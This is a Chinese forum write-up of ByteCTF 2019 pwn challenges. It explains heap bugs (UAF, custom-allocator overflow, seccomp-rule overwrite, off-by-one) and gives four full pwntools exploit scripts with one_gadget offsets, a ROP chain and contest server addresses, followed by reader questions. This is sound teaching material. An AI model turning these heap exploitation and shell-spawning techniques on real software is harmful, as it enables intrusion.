首页
社区
课程
招聘
3
[原创] ByteCTF Pwn部分题解
发表于: 2019-9-9 20:06 15660

[原创] ByteCTF Pwn部分题解

2019-9-9 20:06
15660

初看程序,是一个经OLLVM混淆过的ELF,不过对我们做pwn没有太多的影响。用ida直接分析其主要函数,也是一个经典的堆菜单题目。含有增删改查四个功能。 图片描述 其中这个free函数free过后有10秒钟的延迟,这个导致了UAF。那么有UAF这道题就迎刃而解了。

首先这个程序也是一个经典的堆题,分为增删改查4个功能。同其他堆题不一样的就是这个堆他不是真正意义上的堆,通过分析程序,它是通过mmap出一块内存出来之后,然后对这块内存进行管理,在bss有4个全局变量,分别是存放分配的size,mmap出来内存的地址,free掉堆块的链表的头部,正在使用中的堆块地址。malloc的时候首先会从free_list中查看是否存在一个堆块和我们想要申请的size一样的。如果一样就拿出来,不一样就遍历free_list,如果没有查找到,则从mmap内存切割,其实和top_chunk类似。然后free的话,直接将chunk放到free_top中去。edit,show函数没有什么好说的。其中堆块结构和glibc中的结构有点不一样的就是他的头部是存放的一个size和fd(类似fastbin)。那么其实分析到这里,按常规来说,没有发现什么漏洞,没有UAF。分配类似0x(8)这样块的大小,也不会占用下一块的头部。 图片描述有个这样的操作。那么其实这个漏洞点,是存在在自定义的read的中的。mmap出来的内存最大可以提供0x1000大小。然而它没有将总分配的size做比较,导致了我们可以分配到0x23330000 + 0x1000后面的内存,那么这里的内存是无效的。在read的时候就会出错,返回-1。 图片描述然后数据还存放在缓冲区中,此时v3的值会减小,下一次循环的时候读入数据会将缓冲区中的数据给read处理,然而有部分字节被处理了0x23330000后面的数据不能被处理,继续返回-1,v3继续变小,这样v3不断往前移动,最后移动到刚好覆盖chunk头部,fd写入bss地址,bss地址构造一个size。然后就可以分配到bss段上了,直接修改store_ptr的地方,修改为got表,leak and write即可Getshell。
图片描述。exp如下

同样也是一道堆题,题目环境是libc2.27,带tcache环境。
图片描述题目有5个选单。malloc只能分配0x50个字节的大小。free直接free掉,然后置0,不存在uaf。show也是普通的打印,比较不一样的就是edit功能和become vip功能。 图片描述edit功能首先判断全局变量,如果不为0,就读取标准输入到chunk上,不然读随机数到chunk上,这就是本程序的一个很大的限制,不能读取我们的输入到堆块上,也就是堆块内容不可控,当然这边也存在一个未校验size的漏洞。可以无限读取,那么本题其实主要首先会想如何修改这个全局变量的值,当然首先考虑unsorted bin attack,但是这里堆块内容不可控,这个攻击也无法实现,再来看看become vip函数吧。这里是输入一个name到栈上,然后对程序使用seccomp保护。这里可以使用seccomp-tools对其进行分析。 图片描述这里只允许四个系统调用,然而我们发现当我们become vip之后,也就是调用设置沙箱规则之后,edit的open("/dev/random")会返回-1,也就是打开失败,这里我们明明看到是open没有被限制,那么这里是什么原因造成的的呢? 图片描述这里就可以看出来了,openat被限制了。图片描述图片描述那么这里输入的buf是存在溢出的,这里可以溢出30个字节,下面的其实就是沙箱的规则,这里的主要思路就是利用溢出修改啥箱规则,去让openat返回0。然后就可以正常读取输入了。https://github.com/david942j/seccomp-tools这是我使用的一个工具。

1.1 malloc的size不可控,但是程序中存在scanf。利用scanf导致fastbin chunk合并进入small bin, leak libc 图片描述
1.2 第二种leak的话其实和第一种不一样,第一种情况是对于不能控制输入到堆块的内容的leak,这一种是首先让堆块内容可控,然后edit修改下一块size即可。也是leak main_arena。

图片描述主要漏洞点就是off-by-one,由于限制了分配的大小,导致我们不能分配fastbin,这样fastbin attack攻击就无法实现。off-by-one威力还是挺大的,chunk overlap , chunk extend。

感谢ex师傅的指导

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#coding:utf-8
 
from pwn import *
import argparse
 
# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'
 
IP = '112.126.101.96'
PORT = '9999'
binary = './mulnote'
 
io = None
 
parser = argparse.ArgumentParser()
 
parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()
 
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)
 
def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))
 
if args.remote:
    io = remote(IP, PORT) 
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()
 
def debug(msg=""):
    msg = """
        x/20xg 0x{:x}
    """.format(proc_base + 0x202020)
    pwnlib.gdb.attach(io,msg)
    # raw_input()
 
def create(sz,con):
    sla(">","C")
    sla(">",str(sz))
    sla(">",con)
 
def edit(idx,con):
    sla(">","E")
    sla(">",str(idx))
    sla(">",con)
 
def remove(idx):
    sla(">","R")
    sla(">",str(idx))
 
def show():
    sla(">","S")
 
 
def exploit():
    create(0x90,'a')
    remove(0)
 
    show()
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    base = leak - 0x3c4b78
    __malloc_hook = base + libc.symbols['__malloc_hook']
    lg('base',base)
 
    create(0x90,'a')
 
    create(0x60,'a')
    create(0x60,'b')
 
    remove(2)
    remove(3)
    remove(2)
 
    one_gg = base + 0x4526a
 
    create(0x60,p64(__malloc_hook - 0x13))
    create(0x60,'junk')
    create(0x60,'junk')
    create(0x60,'a' * 3 + p64(one_gg))
 
    # debug()
    io.interactive()
 
if __name__ == "__main__":
    exploit()
"""
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
 
0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
 
0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
 
0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#coding:utf-8
 
from pwn import *
import argparse
 
IP = '47.112.139.218'
PORT = '13132'
binary = './mheap'
 
io = None
 
parser = argparse.ArgumentParser()
 
parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()
 
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x,drop=True)
ruf = lambda x : io.recvuntil(x)
uu64 = lambda x : u64(x[-6:].ljust(8,'\x00'))
 
def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))
 
if args.remote:
    io = remote(IP, PORT) 
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()
 
def debug(msg=""):
    msg = """
        x/80xg 0x23330000
        b *0x40121F
        b *0x401568
    """
    pwnlib.gdb.attach(io,msg)
 
 
def malloc(idx,sz,con):
    ru("choice")
    sl("1")
    ru("Index")
    sl(str(idx))
    ru("size")
    sl(str(sz))
    ru("Content")
    sd(con)
 
def show(idx):
    ru("choice")
    sl("2")
    ru("Index")
    sl(str(idx))
 
def free(idx):
    ru("choice")
    sl("3")
    ru("Index")
    sl(str(idx))
 
def edit(idx,con):
    ru("choice")
    sl("4")
    ru("Index")
    sl(str(idx))
    sleep(0.3)
    sd(con)
 
def exploit():
    malloc(0, 0xfc0, '/bin/sh\n')
    malloc(1, 0x10, '\0' * 0x10)
    free(1)
 
    malloc(2, 0x28, p64(0x4040d0) + '\0' * 0x1f + '\n')
 
    malloc(3, 0x23330fd0 - 0x10, p64(elf.got['atoi']) + '\n')
    show(0)
    leak = u64(io.recvuntil('\n', drop=True)[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    base = leak - libc.symbols['atoi']
    lg("base",base)
    edit(0, p64(base  + libc.symbols['system']) + '\n')
    io.sendline('/bin/sh\x00')
 
    io.interactive()
 
if __name__ == "__main__":
    exploit()
"""
0x4f2c5    execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL
 
0x4f322    execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL
 
0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#coding:utf-8
 
from pwn import *
import argparse
 
context.binary = './vip'
IP = '112.126.103.14'
PORT = '9999'
binary = './vip'
 
io = None
 
parser = argparse.ArgumentParser()
 
parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()
 
sa = lambda x,y : io.sendafter(x,y)
sla = lambda x,y : io.sendlineafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x,drop=True)
ruf = lambda x : io.recvuntil(x)
uu64 = lambda x : u64(x[-6:].ljust(8,'\x00'))
 
def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))
 
if args.remote:
    io = remote(IP, PORT) 
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()
 
def debug(msg=""):
    msg = """
        b *0x401411
        b *0x401547
        x/80xg 0x404100
        b *0x401515
        b *0x40151C
        b *0x4014F0
        b *0x4014eb
        x/8xg 0x4040E0
    """
    pwnlib.gdb.attach(io,msg)
 
def malloc(idx):
    sla("choice","1")
    sla("Index",str(idx))
 
def show(idx):
    sla("choice","2")
    sla("Index",str(idx))
 
def free(idx):
    sla("choice","3")
    sla("Index",str(idx))
 
def edit(idx,sz):
    sla("choice","4")
    sla("Index",str(idx))
    sla("Size",str(sz))
 
def edit_chunk(idx,sz,con):
    sla("choice","4")
    sla("Index",str(idx))
    sla("Size",str(sz))
    sd(con)
 
def vip(name):
    sla("choice","6")
    sa("name",name)
 
def ssl(con):
    sl(con)
    sleep(0.2)
 
def exploit2():
    malloc(0)
 
    buf = 0x20 * 'a'
    buf += " \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x03>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\t\x00\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"
    # buf = "\x00\x00\x00\x00\x00\x00\x00\x00\xca\x20\x40\x00\x00\x00\x00\x00\xa0\x92\x0b\xc5\x4a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x08\x3e\x00\x00\xc0\x20\x00\x00\x00\x00\x00\x00\x00\x35\x00\x06\x00\x00\x00\x00\x40\x15\x00\x04\x00\x01\x00\x00\x00\x15\x00\x03\x00\x00\x00\x00\x00"
    buf = buf[:0x50]
    # debug()
    vip(buf)
    debug()
    io.interactive()
 
 
def exploit():
    [malloc(i) for i in range(0,16)]
    [free(i) for i in range(0,15)]
 
    [malloc(i) for i in range(0,7)]
 
    edit(15,"1" * 0x400)
    malloc(0)
    show(0)
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    base = leak - 0x3ebf90
    system = base + libc.symbols['system']
    __malloc_hook = base + libc.symbols['__malloc_hook']
    lg('base',base)
    __free_hook = base + libc.symbols['__free_hook']
    printf = base + libc.symbols['printf']
 
    # orig_rules = "\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x08\x3E\x00\x00\xC0\x20\x00\x00\x00\x00\x00\x00\x00\x35\x00\x06\x00\x00\x00\x00\x40\x15\x00\x04\x00\x01\x00\x00\x00\x15\x00\x03\x00\x00\x00\x00\x00\x15\x00\x02\x00\x02\x00\x00\x00\x15\x00\x01\x00\x3C\x00\x00\x00\x06\x00\x00\x00\x05\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"
    buf = "a" * 0x20
    buf += " \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x04>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x01\x01\x01\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"
 
    buf = buf[:0x50]
 
    vip(buf)
 
    free(5)
    free(2)
    edit_chunk(3,0x80,'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.got['puts']))
    malloc(0)
    edit_chunk(0,0x10,'%p %p %p %p \x00')
    malloc(1)
    edit_chunk(1,0x10,p64(printf))
    show(0)
    ru("999 ")
    stack_addr = int(rud(" Done"),16)
    lg('stack_addr',stack_addr - 73)
 
    # alloc to stack
    free(3)
    edit_chunk(4,0x80,'a' * 0x50 + p64(0) + p64(0x61) + p64(stack_addr - 73))
 
    stack_payload = [
        0x00000000004018fb, # : pop rdi ; ret
        stack_addr - 73 + 0x100,
        0x00000000004018f9, # : pop rsi ; pop r15 ; ret
        0,
        0,
        base + 0x00000000000439c8, # : pop rax ; ret
        2, # sys_open
        base + 0x00000000000d2975, # : syscall ; ret
 
        0x00000000004018fb, # : pop rdi ; ret
        4,
        0x00000000004018f9, # : pop rsi ; pop r15 ; ret
        0x404800,
        0,
        base + 0x0000000000001b96, # : pop rdx ; ret
        0x100,
        elf.plt['read'],
 
        0x00000000004018fb, # : pop rdi ; ret
        0x404800,
        base + libc.symbols['puts'],
        0x00000000004018fb,
        0x0,
        elf.plt['exit'],
    ]
    """
        syscall   rdi --> "flag" rsi --> 0x0 rdx --> 0x0 rax --> syscall number
        read(fd,buf,0x100);
        puts(buf)
    """
 
    malloc(1)
    malloc(2) # malloc to stack
 
    edit_chunk(2,0x400,flat(stack_payload).ljust(0x100,'\x00') + "flag\x00")
    # malloc(0)
    # malloc(1)
    # edit(0,0x50)
 
    io.interactive()
 
 
if __name__ == "__main__":
    try:
        exploit()
    except EOFError as e:
        io.close()
        print "error"
"""
0x4f2c5    execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL
 
0x4f322    execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL
 
0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#coding:utf-8
 
from pwn import *
import argparse
 
# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'
context.binary = './note_five'
 
IP = ''
PORT = ''
binary = './note_five'
 
io = None
 
parser = argparse.ArgumentParser()
 
parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()
 
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)
 
def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))
 
if args.remote:
    io = remote(IP, PORT) 
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()
 
def debug(msg=""):
    msg = """
        x/10xg 0x{:x}
    """.format(proc_base + 0x202080)
    pwnlib.gdb.attach(io,msg)
    # raw_input()
 
def new(idx,sz):
    sla(">","1")
    sla("idx",str(idx))
    sla("size",str(sz))
 
def edit(idx,con):
    sla(">","2")
    sla("idx",str(idx))
    sla("content",con)
 
def free(idx):
    sla(">","3")
    sla("idx",str(idx))
 
def exploit():
    new(0, 0x98)
    new(1, 0x98)
    new(2, 0x98)
    new(3, 0x98)
 
    free(0) # unsorted bin
    edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0))
    free(2)
 
    new(0, 0xe8)
    edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10)) # change fd bk
    new(4, 0xe8)
 
    free(4)
    edit(1,'a' * 0x40 + flat(0x0,0xf1) + "\xcf\x25")
    new(4,0xe8)
    new(0,0xe8)
    edit(0,'\x00' * 0x41 + p64(0xfbad1800) + flat(0x0,0x0,0x0) + '\x00') #0xfbad1800
    stdout = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('stdout',stdout)
    base = stdout - 0x3c5600
    lg('base',base)
 
    free(4)
    edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(base + libc.symbols['_IO_2_1_stdin_'] + 143))
 
    new(4, 0xe8)
    new(0, 0xe8)
 
    edit(0, '\0' * 0xe1 + p32(0xf1) )
    free(4)
    edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(base + libc.symbols['_IO_2_1_stdin_'] + 376))
    new(4, 0xe8)
    new(0, 0xe8)
 
    edit(0, '\0' * 0xa0 + p64(base + 0x4526a) + p64(base + libc.symbols['realloc'] + 13))
 
    new(0, 0xe8)
    io.interactive()
 
 
if __name__ == "__main__":
    exploit()
"""
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
 
0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
 
0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
 
0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
  1. Create一个大于0x80的chunk
  2. free掉就可以show leak libc
  3. fastbin attack修改__malloc_hook为one_gadget

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-9-9 21:01 被ChenSem编辑 ,原因:
收藏
免费 3
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2023-1-23 01:41
ChenSem
为你点赞~
2020-8-27 15:30
半步
为你点赞~
2019-9-10 09:17
最新回复 (13)
雪    币: 35492
活跃值: (64776)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
2
感谢分享哦~
2019-9-9 21:05
0
雪    币: 270
活跃值: (1662)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
3
想问下如何找global_max_fast吗
2019-9-9 22:45
0
雪    币: 3579
活跃值: (2134)
能力值: ( LV12,RANK:209 )
在线值:
发帖
回帖
粉丝
4
wx__y 想问下如何找global_max_fast吗
使用gdb的话,直接使用命令p &global_max_fast就可以找到这个地址了。
2019-9-9 22:54
1
雪    币: 8533
活跃值: (5151)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
5
mark
2019-9-10 13:27
0
雪    币: 219
活跃值: (38)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
6
学习学习 大佬
2019-9-10 16:24
0
雪    币: 219
活跃值: (38)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
7
上面的&global_max_fast每次 倒数第二字节 都改变 p16里面的值怎么的来的?
2019-9-10 17:25
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
notefive 这里的代码edit(0, '\0' * 0xa0 + p64(base + 0x4526a) + p64(base + libc.symbols['realloc'] + 13)),one_gadget的地址没有盖到__malloc_hook的地方,我使用的是edit(0, '\0' * 0xa8 + p64(base + 0x4526a)),但是起shell失败,所有gadget都试过了,,,换了几个触发方式,也不行,想知道这里为啥向前移8个,而且后面还有p64(base + libc.symbols['realloc'] + 13)这种东西。
2019-9-11 23:18
0
雪    币: 3579
活跃值: (2134)
能力值: ( LV12,RANK:209 )
在线值:
发帖
回帖
粉丝
9
MarTinnnn notefive 这里的代码edit(0, '\0' * 0xa0 + p64(base + 0x4526a) + p64(base + libc.symbols['realloc'] + 13)), ...
调试一下就知道了,主要one_gadget的条件不满足。然后调整一下栈的状态,__malloc_hook去调用realloc,然后realloc_hook被填充为one_gadget。然后继续执行one。
2019-9-11 23:33
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
ChenSem 调试一下就知道了,主要one_gadget的条件不满足。然后调整一下栈的状态,__malloc_hook去调用realloc,然后realloc_hook被填充为one_gadget。然后继续执行on ...
懂了 谢谢
2019-9-12 00:00
0
雪    币: 32
活跃值: (17)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
11
ChenSem 调试一下就知道了,主要one_gadget的条件不满足。然后调整一下栈的状态,__malloc_hook去调用realloc,然后realloc_hook被填充为one_gadget。然后继续执行on ...
学到了 :)
2019-9-17 17:51
0
雪    币: 139
活跃值: (207)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
太谢谢师傅了 
2019-9-24 22:15
0
雪    币: 37920
活跃值: (7425)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
13
感谢 大姐的贴。
2019-10-3 08:24
0
雪    币:
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
师傅,能加一个联系方式交流吗?
2020-1-31 15:45
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册